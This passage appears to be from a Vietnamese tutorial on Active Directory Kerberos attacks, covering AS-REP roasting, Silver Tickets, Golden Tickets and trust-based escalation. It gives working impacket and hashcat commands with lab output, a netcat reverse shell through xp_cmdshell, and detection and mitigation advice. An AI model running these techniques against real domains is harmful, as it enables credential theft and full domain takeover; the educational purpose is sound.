root@kali$ impacket-GetNPUsers.py -no-pass -dc-ip 10.10.10.161 test.lab/alfresco | grep -v Impacket [*] Getting TGT for alfresco
$krb5asrep$23$alfresco@TEST.LAB:c213afe360b7bcbf08a522dcb423566c$d849f59924ba2b5402b66ee1ef332c2c827c6a5f97...[snip]...744fb543486ac2d60b05b7db29f482355a98aa65dff2f
Step2: KDC kiểm tra thuộc tính của account này không cần pre-auth cho nên nó trả luôn AS-REP về cho hacker. Hacker nhận được AS-REP và sẽ chỉ cần quan tâm tới phần encrypted(session_key,ntlm_hash)
, với thông tin này thì hacker có thể bruteforce attacker được password của user alfresco
là s3rvice
.
root@kali$ hashcat -m 18200 asrep.kerb /usr/share/wordlists/rockyou.txt --force
...
$krb5asrep$23$alfresco@TEST.LAB:c213afe360b7bcbf08a522dcb423566c$d849f59924ba2b5402b66ee1ef332c2c827c6a5f97...[snip]...744fb543486ac2d60b05b7db29f482355a98aa65dff2f:s3rvice
...
Trong đó:
$krb5asrep$23$
→23
là etype = RC4-HMAC.alfresco@TEST.LAB
→ Principal (username + realm).c213afe360b7bcbf08a522dcb423566c
→ checksum (hmac/md5).d849f59924ba2b54...65dff2f
→ ciphertext (phần data được mã hoá bằng NTLM Hash của user đó).
Logic brute force attacker ở đây là hacker thử lần lượt từng password plaintext trong thư viện password rockyou.txt → Tính ra được RC4-HMAC (vì ở đây dùng etype là 23) → dùng giá trị vừa tính được để giải mã phần ciphertext → Nếu plaintext tuân theo chuẩn ASN.1 Kerberos (có cấu trúc hợp lệ) và khớp với giá trị checksum → password đúng.
Nhưng điều kiện cần để có thể khai thác tấn công ở đây là hacker phải tìm được danh sách các Domain username, có thể là do credential leak hoặc cũng có thể là hacker đoán được các username cũng hoàn toàn khả thi luôn 😁 Ví dụ hacker tìm được một danh sách họ và tên đầy đủ của một số nhân viên trong doanh nghiệp chẳng hạn, ví dụ các nhân viên có tên là Nguyễn Văn An, Hoàng Thị Hương, Lê Văn Nam,... thì thông thường cách đặt tên sAMAccountName trong LDAP có thể sẽ đặt là nguyen.an
, hoang.huong
, le.nam
,... nếu đoán đúng quy luật đặt tên cho username thì hacker hoàn toàn có thể suy ra được các username còn lại với danh sách họ tên đầy đủ của các nhân viên. Ngoài ra, trên mạng cũng có một vài danh sách các username phổ biến để tham khảo cũng là một cách. Rồi, với kiểu tấn công này thì có một số cách cơ bản để giảm thiểu nó:
- Cố gắng tắt
DONT_REQUIRE_PREAUTH
cho mọi user trong Domain.
- Nếu phải bật flag này thì nên dành cho các username quyền thấp và quyền hạn chế.
- Trong mọi cách ngăn chặn offline-bruteforce password attack thì luôn là đặt password dài và phức tạp.
- Sử dụng IPS/IDS, Endpoint security kết hợp với SIEM để collect các log liên quan tới authentication:
- Hunt các log với event ID
4768
(Kerberos Authentication Ticket Requested) vớiPre-Authentication Type = 0
- Alert nếu có nhiều AS-REQ không pre-auth liên tục từ 1 nguồn → khả năng đang bị AS-REP roasting bruteforce.
- Hunt các log với event ID
Silver Ticket Attack
Trong kerberos, sau khi một user xác thực xong và có TGT ticket thì user đó sẽ sử dụng TGT ticket để yêu cầu TGS ticket của service muốn truy cập. Nhưng ở bước số 4 KDC gửi TGS-REP về cho user, thông tin TGS Ticket được mã hoá bởi chính service password hash. Vậy nếu hacker biết được password của service account thì hacker hoàn toàn có thể tự tạo cho mình một TGS với bất kì thuộc tính nào (truy cập bao lâu, user truy cập là ai,…) để truy cập vào dịch vụ đó. Sau đó sử dụng fake TGS Ticket này để truy cập dịch vụ mà bỏ qua luôn xác thực thông thường ở bước số 1 và bước số 2.
Quá trình khai thác sẽ trong Silver Ticket Attacker tập trung chủ yếu vào bước 3 và bước 4 của luồng xác thực trong kerberos. Ví dụ hacker biết được credential của một account service (mssql) thông qua credential leak hoặc là crack được password,… như sau: svc_mssql
:Service1
Recon ldap info thì thấy rằng account service svc_mssql
đang được sử dụng cho service MSSQL database, dịch vụ này đang được run trên một Window Machine với Domain name là nagoya.nagoya-industries.com
# svc_mssql, Users, nagoya-industries.com
dn: CN=svc_mssql,CN=Users,DC=nagoya-industries,DC=com
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: svc_mssql
givenName: svc_mssql
distinguishedName: CN=svc_mssql,CN=Users,DC=nagoya-industries,DC=com
instanceType: 4
whenCreated: 20230430074221.0Z
whenChanged: 20250508042923.0Z
displayName: svc_mssql
uSNCreated: 13141
uSNChanged: 28733
name: svc_mssql
objectGUID:: Idp93z8XSkqI7XDWlIG0bg==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 133911531505621841
pwdLastSet: 133273143332885955
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAA7EVhdUm2NFrpnYpkcAQAAA==
accountExpires: 9223372036854775807
logonCount: 36
sAMAccountName: svc_mssql
sAMAccountType: 805306368
userPrincipalName: svc_mssql@nagoya-industries.com
servicePrincipalName: MSSQL/nagoya.nagoya-industries.com
Giờ sẽ hacker sẽ sử dụng Silver Ticket Attack để có thể tạo được một fake TGS Ticket cho service MSSQL rồi truy cập vào service này trên máy chủ nagoya.nagoya-industries.com. Quá trình Silver Ticket Attack như sau:
Bước 1 - Chuẩn bị thông tin cần thiết để fake TGS ticket: Đầu tiên là NTLM Hash password (MD4) với plaintext Service1
└─$ echo -n 'Service1' | iconv -t UTF-16LE | openssl md4
MD4(stdin)= e3a0168bc21cfb88b95c954a5b18f57c
Hacker Tìm SID của Domain và được giá trị SID: S-1-5-21-1969309164-1513403977-1686805993. Ngoài ra, để fake được TGS Ticket, thì cần phải biết là sẽ fake TGS ticket cho user nào, dùng luôn user Domain Administrator (ID 500) vì thường user này sẽ có quyền cao nhất trong service đó luôn (thường là dbo luôn)
└─$ impacket-lookupsid 'svc_mssql':'Service1'@192.168.175.21 [*] Brute forcing SIDs at 192.168.175.21
[*] StringBinding ncacn_np:192.168.175.21[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1969309164-1513403977-1686805993
498: NAGOYA-IND\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: NAGOYA-IND\Administrator (SidTypeUser)
...
Bước 2 - Fake TGS Ticket: Hacker sử dụng tool impacket-ticketer để tạo fake TGS ticket cho service MSSQL với user là Administrator. Ticket này được lưu trong file Administrator.ccache
└─$ impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator [*] Creating basic skeleton ticket and PAC Infos
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Giờ hacker dùng ticket để login vào mssql shell nằm trên máy chủ nagoya.nagoya-industries.com với user là Administrator. User Administrator trong mssql shell chính là dbo của database luôn cho nên có thể dùng os command shell vì user này có quyền cao nhất rồi trong database rồi
└─$ KRB5CCNAME=Administrator.ccache impacket-mssqlclient -k nagoya.nagoya-industries.com [*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands
SQL (NAGOYA-IND\Administrator dbo@master)>
Nhưng lưu ý ở đây là user Administrator có quyền dbo nhưng chỉ có ý nghĩa trong database thôi, nghĩa là đối với Window Machine thì mọi thao tác tương tác với hệ thống sẽ luôn là account mà run service đó. Ở đây, hacker sử dụng được os command shell nhưng với user svc_mssql
chứ không phải Administrator đâu nhé 😀
SQL (NAGOYA-IND\Administrator dbo@master)> xp_cmdshell "whoami"
output -------------------- nagoya-ind\svc_mssql
Thế thì các bác sẽ hỏi là nếu đã biết username/password của user svc_mssql từ đầu rồi thì dùng account đó mà login vào command shell của Window machine luôn cho nó nhanh, fake TGS Ticket làm gì rồi cuối cùng lại dùng os shell? Thật ra, một service account thông thường như này được quản trị viên quy định để run service mssql trên machine nagoya.nagoya-industries.com thì chắc chắn chẳng có lý do gì để dùng account này login vào thiết bị với terminal shell như ssh,rdp,winrm,... cả. Cho nên dù hacker có password bằng thật nhưng cũng không thể initial access được vào os shell của machine đó đâu. Quay lại mssql shell bên trên, nếu hacker có thể thực hiện được command shell thì hoàn toàn có thể thực hiện reverse shell về máy của hacker và chiếm được interactive os command shell ngon nghẻ luôn thông qua công cụ như nc.exe, hay Window built-in powershell.exe đều được.
SQL (NAGOYA-IND\Administrator dbo@master)> xp_cmdshell "nc.exe 10.10.16.45 443 -e cmd.exe"
Hacker lấy được os command shell của victim với user svc_mssql
cho dù không thể login qua ssh,rdp,winrm,...
-$ rlwrap nc -lvnp 443
listening on [any] 443
connect to [10.10.16.45] from (UNKNOWN) [192.168.175.21] 51240
PS C:\> whoami
nagoya-ind\svc_mssql
Với hình thức tấn công này, ngoài các biện pháp phòng chống đã nói trước đó thì nên bổ sung các giải pháp IPS/IDS, SIEM/EDR rule detect các event kiểu forged TGS
để hunting các Event logs TGS-REQ/TGS-REP (Event ID 4769
) mà không có AS-REQ trước đó, hoặc anomalous ticket lifetime được sử dụng trong TGS Ticket.
Golden Ticket Attack
Khác với Silver Ticket Attack, Golden Ticket Attack tập trung vào bước 1 và bước 2 của quá trình xác thực Kerberos. Như đã nói, xác thực bản chất cũng là một loại dịch vụ trong Domain và account run service đó trên DC chính là user krbtgt. Trong trường hợp hacker chiếm được password/NTLM_hash của user krbtgt thì hacker lúc này có thể tuỳ ý tạo một fake TGT Ticket của bất kì user nào, rồi sau đó dùng TGT Ticket này để yêu cầu bất kì service nào trong Domain. Cho nên mức độ ảnh hưởng của Golden Ticket là lớn nhất, nếu có thể khai thác được loại tấn công này thì coi như hacker có thể chiếm được toàn bộ Domain AD này luôn.
Để tạo được fake TGT ticket, sử dụng công cụ impacket-ticketer giống với Silver Ticket Attack
└─$ impacket-ticketer -nthash c7a03c565c68c6fac5f8913fab576ebd -domain-sid S-1-5-21-3623811015-3361044348-30300820 -domain test.lab Administrator [*] Creating basic skeleton ticket and PAC Infos
[...time warning snip...]
[*] Customizing ticket for test.lab/Administrator
[...time warning snip...]
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[...time warning snip...]
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
Trong đó:
c7a03c565c68c6fac5f8913fab576ebd
: là NTLM Hash của userkrbtgt
S-1-5-21-3623811015-3361044348-30300820
: Là SID của Domaintest.lab
: Là Domain nameAdministrator
: Chính là username tương ứng với TGT Ticket cần tạo
Khác với Silver Ticket Attack, ticket Administrator.ccache này không phải TGS Ticket mà nó là TGT Ticket, giờ mình có thể dùng TGT Ticket này để yêu cầu truy cập bất kì dịch vụ nào trong Domain chứ không bị giới hạn ở 1 dịch vụ như ở Silver Ticket Attack. Về mức độ ảnh hưởng thì Golden Ticket Attack chắc chắn là lớn hơn rất nhiều (thường là cả domain), thế nhưng về khả năng xảy ra loại tấn công này trong Domain AD thì sẽ không nhiều bằng Silver Ticket Attack bởi việc lộ password hoặc crack được password của user krbtgt
là rất hiếm khi xảy ra vì krbtgt
account luôn chỉ nằm trên máy chủ DC và được kiểm soát chặt chẽ nhất.
Golden Ticket Attack thậm chí mức độ ảnh hưởng không chỉ ở 1 Domain thôi đâu, đặc biệt trong môi trường Domain Trust. nếu chiếm được krbtgt
ở 1 Domain hoàn toàn có thể chiếm được cả Domain khác nữa nếu được cấu trust relationship. Nói qua về trust relationship, giả dụ bạn là một user thuộc Domain A nhưng lại cần truy cập resource của một machine thuộc Domain B, thay vì ở Domain B phải cấu hình tạo thêm một user nữa cho bạn sử dụng thì Domain B có thể được cấu hình để trust Domain A. Lúc này bạn sẽ thực hiện xác thực ở Domain A như bình thường, sau đó request vào một dịch vụ bên Domain B, KDC bên Domain B sẽ chấp nhận TGT Ticket của bạn (được cấp bởi Domain A) và trả về TGS Ticket tương ứng với dịch vụ cần truy cập ở Domain B.
Trust Relationship trong Domain được phân ra một vài loại như sau:
- Parent-Child: Tồn tại giữa một Domain cha và một Domain con trong cùng một forest. Domain cha trust Domain con, và Domain con cũng trust Domain cha. Kiểu trust này được tạo tự động khi một child Domain mới được thêm vào forest. Ví dụ: test.lab và child.test.lab
- Tree-Root: tồn tại giữa root Domain của các Domain trong cùng một forest. Kiểu trust này được tạo tự động khi một cây mới được tạo trong forest. VD:
corp.local
(root của tree 1)test.lab
(root của tree 2) nhưng vẫn chung 1 forest - Shortcut (cross-link): tồn tại giữa hai child Domain của các cây khác nhau (tức là có parent Domain khác nhau) trong cùng một forest. Kiểu trust này giúp giảm số lượng bước xác thực (authentication hops) giữa các Domain xa nhau. Đây có thể là trust một chiều hoặc hai chiều, và là transitive trust. VD:
child.corp.local
(child của tree 1)child.test.lab
(child của tree 2). Để đỡ phải trust transitive nhiều lần thì có thể cấu hình shortcut để giảm số lần xác thực trong keberos - External: tồn tại giữa một Domain trong một forest và một Domain trong một forest khác. Nó cho phép user ở một Domain truy cập tài nguyên trong Domain kia, loại này thì không transitive vì không cùng 1 forest, có thể cấu hình trust 1 chiều hoặc 2 chiều
- Forest : tồn tại giữa hai forest (tức là giữa root Domain của từng forest). Nó cho phép user trong một forest truy cập tài nguyên trong forest kia, loại này cũng có thể cấu hình trust 1 chiều hoặc 2 chiều, nhưng luôn transitive trong phạm vi toàn forest.
- Realm: tồn tại giữa một Windows Domain AD và một Domain không phải Windows AD, ví dụ như hệ thống sử dụng Linux chẳng hạn thì sẽ dùng MIT Kerberos (Kerberos realm).
Một ví dụ về trust relationship Parent-Child, Domain trust.test.lab và Domain test.lab. Lúc này, nếu hacker chiếm được krbtgt account của Domain con là trust.test.lab, hacker sẽ sử dụng golden ticket attack để fake một TGT Ticket dành cho user administrator, nhưng vì Domain test.lab trust Domain trust.test.lab cho nên TGT Ticket này hoàn toàn có thể yêu cầu truy cập vào bất kì một tài nguyên nào trong Domain test.lab với tư cách user Domain Administrator. Như vậy, từ việc cấu hình Domain trust dẫn tới 1 Domain bị chiếm thì cả Domain khác cũng sẽ bị chiếm
Trong tình huống này, hacker sử dụng công cụ impacket-ticketer để khai thác tấn công với logic như sau:
Target (Parent) Domain: test.lab Controlled (Child) Domain: trust.test.lab
- Hacker vì đã có password của user krbtgt thuộc Child Domain cho nên có thể tự tạo ra và kí một TGT Ticket với giá trị PAC (chứa Extra-sid là Domain group Enterprise Admins của Parent Domain) rồi gửi TGS Request tới KDC ở Child Domain để xin truy cập service tới Parent Domain (test.lab).
- Lúc này vì nhận được TGS request được kí hợp lệ bằng krbtgt password hash cho nên KDC tại Child Domain cấp Referral TGT cho user (vẫn chứa PAC gồm Extra-sid)
- User mang Referral TGT Ticket này gửi TGS Request tới KDC ở Parent Domain để xin truy cập service tại đây.
- KDC có thể giải mã được data bên ngoài bằng trust key child-parent nên đọc được giá trị bên trong là PAC chứa ExtraSid, tuy nhiên vì nó không thể xác minh được giá trị PAC là đúng hay không cho nên nó tạo một secure channel tới Child Domain để nhờ Child KDC verify giá trị PAC hộ
- Vì PAC được sign bằng krbtgt password hash chuẩn (do attacker forge đúng bằng krbtgt của Child Domain) cho nên nó trả về kết quả PAC OK
- Parent KDC trust Child KDC cho nên nó chấp nhận Referral TGT Ticket này và trả về TGS Ticket với quyền của Domain group Enterprise Admins cho user
- User lúc này có thể dùng TGS Ticket này và truy cập thoải mái và tài nguyên của Parent Domain với quyền cao nhất trong Domain.
└─$ impacket-ticketer -nthash c7a03c565c68c6fac5f8913fab576ebd -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 -domain trust.test.lab Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Creating basic skeleton ticket and PAC Infos
[...time warning snip...]
[*] Customizing ticket for trust.test.lab/Administrator
[...time warning snip...]
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[...time warning snip...]
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
Trong đó:
c7a03c565c68c6fac5f8913fab576ebd
: NTLM hash của userkrbtgt
(thuộc Domain trust.test.lab)S-1-5-21-2241985869-2159962460-1278545866
: Là SID của Domain mà hacker đã chiếm được (trust.test.lab)S-1-5-21-3576695518-347000760-3731839591-519
: Là SID-RID của Parent Domain muốn khai thác (test.lab), RID ở đây chọn519
vì đây là RID mặc định củaGroup Enterprise Admins
để khai thác với Domain Group có quyền cao nhất trong AD Domaintrust.test.lab
: Domain name mà hacker đã chiếm đượcAdministrator
: Là một username được sử dụng để truy cập tài nguyên tới Parent Domain (test.lab)
Ticket lúc này được lưu ở trong file Administrator.ccache
. Sử dụng biến môi trường KRB5CCNAME
kết hợp với tool impacket-psexec để lấy được os command shell của Resource Server (10.10.130.21) thuộc Domain test.lab thông qua dịch vụ CIFS. Lúc này account truy cập vào victim là user có quyền cao nhất của hệ thống.
└─$ KRB5CCNAME=Administrator.ccache impacket-psexec trust.test.lab/Administrator@10.10.130.21 -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Requesting shares on 10.10.130.21.....
[*] Found writable share ADMIN$
[*] Uploading file eSdtfQrw.exe
[*] Opening SVCManager on 10.10.130.21.....
[*] Creating service zbZP on 10.10.130.21.....
[*] Starting service zbZP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved. C:\>whoami
WK01\NT Authority/SYSTEM
Tổng kết
Bên cạnh những loại tấn công phổ biến kể trên thì còn rất nhiều những loại tấn công khác trong môi trường AD nữa. Việc hiểu rõ cách thức hoạt động của Kerberos và NTLM, cũng như nắm bắt các kỹ thuật tấn công phổ biến có thể giúp ae thiết kế cơ chế phòng thủ hiệu quả hơn. Bảo mật AD là một quá trình liên tục, đòi hỏi giám sát, phân quyền chặt chẽ, vá lỗi kịp thời. Một khía cạnh không kém phần quan trọng đó là nâng cao nhận thức của nhân viên, đặc biệt là đội ngũ non-tech, đây là một trong những mắt xích yếu để các attacker nhắm vào mỗi khi khai thác tấn công một hệ thống của doanh nghiệp.